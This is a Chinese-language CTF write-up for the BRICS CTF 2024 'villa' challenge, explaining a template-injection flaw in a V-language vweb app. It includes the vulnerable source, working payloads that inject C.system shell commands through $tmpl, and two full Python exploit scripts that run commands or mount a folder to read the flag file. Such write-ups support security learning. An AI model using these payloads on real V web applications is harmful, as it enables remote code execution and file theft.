官方wp>>>https://github.com/C4T-BuT-S4D/bricsctf-2024-quals/tree/master/tasks
villa v语言写的一个web程序
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 module main import os import vweb struct App { vweb.Context } @['/'; get; post] fn (mut app App) index() vweb.Result { return $vweb.html() } @['/villa'; get; post] fn (mut app App) villa() vweb.Result { if app.req.method == .post { os.write_file('villa.html', $tmpl('template.html')) or { panic(err) } } return $vweb.html() } fn main() { app := &App{} params := vweb.RunParams{ port: 8080, nr_workers: 1, } vweb.run_at(app, params) or { panic(err) } }
在/villa
路由将$tmpl('template.html')
的返回值写入villa.html
template.html
的@app.req.data
接收用户传入的值,这是整个程序唯一的输入点
在docker的启动脚本里
1 2 3 4 5 6 cp villa.html villa.html.bak while true; do sleep 30 cp villa.html.bak villa.html done &
每30秒重置villa.html
通过$vweb.html()
渲染html
替换html时经过了$tmpl
函数处理
查看该引擎的源码
https://github.com/vlang/v/blob/715dc3116123b69abe25d14536cad18da6bd7ab6/vlib/v/parser/tmpl.v#L397 该引擎处理模板文件,将其转换为V语言代码
根据官方wp给出的片段
1 2 3 4 5 6 7 8 } else if line_t.starts_with('.') && line.ends_with('{') { // `.header {` => `<div class='header'>` class := line.find_between('.', '{').trim_space() trimmed := line.trim_space() source.write_string(strings.repeat(`\t`, line.len - trimmed.len)) // add the necessary indent to keep <div><div><div> code clean source.writeln('<div class="${class}">') continue }
该段代码会处理.
开头{
结尾的行并截取两个符号之间的字符串作为${class}
看官方给出的payload
实际上是对source.writeln(
进行闭合然后拼接shell命令,导致tmpl.v执行的同时执行shell命令导致rce
插入payload后如下
source.writeln('<div class="'); C.system('cat flag.*.txt > villa.html'.str); println('">')
实际上执行了source.writeln('<div class="')``C.system('cat flag.*.txt > villa.html'.str)``println('">')
官方exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import sysimport timeimport requests HOST = sys.argv[1 ] if len (sys.argv) > 1 else 'localhost' PORT = int (sys.argv[2 ]) if len (sys.argv) > 2 else 17171 URL = f'http://ip:17171/villa' while True : try : payload = "\n. '); C.system('cat flag.*.txt > villa.html'.str); println(' {\n" requests.post(URL, data = payload) response = requests.get(URL) print (response.content) if b'flag' in response.content: break except Exception as e: print (e) time.sleep(2 )
要注意到的是这里前后加上换行是为了让payload单独一行,才能正确让tmpl
截取到我们的payload
这里执行system命令要C.system
但是os.system
跑不通
于是又找到了一个文章 https://dreyand.rs/ctf/2024/10/06/vlang-template-injection-lazy-loading-iframes-ss-leaks-brics-ctf-quals
* Side note: Someone in the discord also found a way to get full RCE, as shared by : <font style="color:rgb(34, 34, 34);">кек</font>
<font style="color:rgb(34, 34, 34);">${ C.system(&char(“cat flag* > /tmp/villa/villa.html”.str)) }</font>
. yes, you can use C in V ))
That’s an insane functionality provided by the language XD
通过<font style="color:rgb(34, 34, 34);">language XD</font>
可以在Vlang执行C语言
这篇文章提供了另外一个解法就是通过vweb的内置函数 <font style="color:rgb(34, 34, 34);">scan_static_directory</font>
来读取文件夹的文件列表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 fn (mut ctx Context) scan_static_directory(directory_path string, mount_path string, host string) { files := os.ls(directory_path) or { panic(err) } if files.len > 0 { for file in files { full_path := os.join_path(directory_path, file) if os.is_dir(full_path) { ctx.scan_static_directory(full_path, mount_path.trim_right('/' ) + '/' + file, host) } else if file.contains('.' ) && !file.starts_with('.' ) && !file.ends_with('.' ) { ext := os.file_ext(file) // Rudimentary guard against adding files not in mime_types. // Use host_serve_static directly to add non-standard mime types. if ext in mime_types { ctx.host_serve_static(host, mount_path.trim_right('/' ) + '/' + file, full_path) } } } } }
这个函数不是公开的,需要找到另一个调用它的函数。
文章提供了3个
All we have to do now is:
use the <font style="color:rgb(34, 34, 34);">host_mount_static_folder_at</font>
gadget to mount the <font style="color:rgb(34, 34, 34);">/tmp/villa</font>
directory into a static one
read the server config via <font style="color:rgb(34, 34, 34);">@app</font>
to get a list of files , including the filename of the flag.
use the arb file read gadget to get the flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import httpx import re def mount_static (client ): payload = """ @{dump(app.handle_static('/tmp/villa', true))} @{dump(app.host_handle_static('localhost', '/tmp/villa', true))} @{dump(app.mount_static_folder_at('/tmp/villa', '/leak'))} @app """ resp = "" while "true" not in resp: try : resp = client.post("/villa" , data=payload).text except : pass flag_pattern = r'/tmp/villa/flag\.[a-f0-9]{32}\.txt' flag_loc = re.findall(flag_pattern, resp) return flag_loc[0 ]def readflag (client, flag_loc ): payload = "@{app.file('%s')}" % (flag_loc) resp = "" while True : try : resp = client.post("/villa" , data=payload).text if "flag" in resp or "brics" in resp: print (resp) break except : pass return respdef exp (): BASE_URL = "http://TARGET-URL" client = httpx.Client(base_url=BASE_URL) flag_loc = mount_static(client) readflag(client, flag_loc) if __name__ == "__main__" : exp()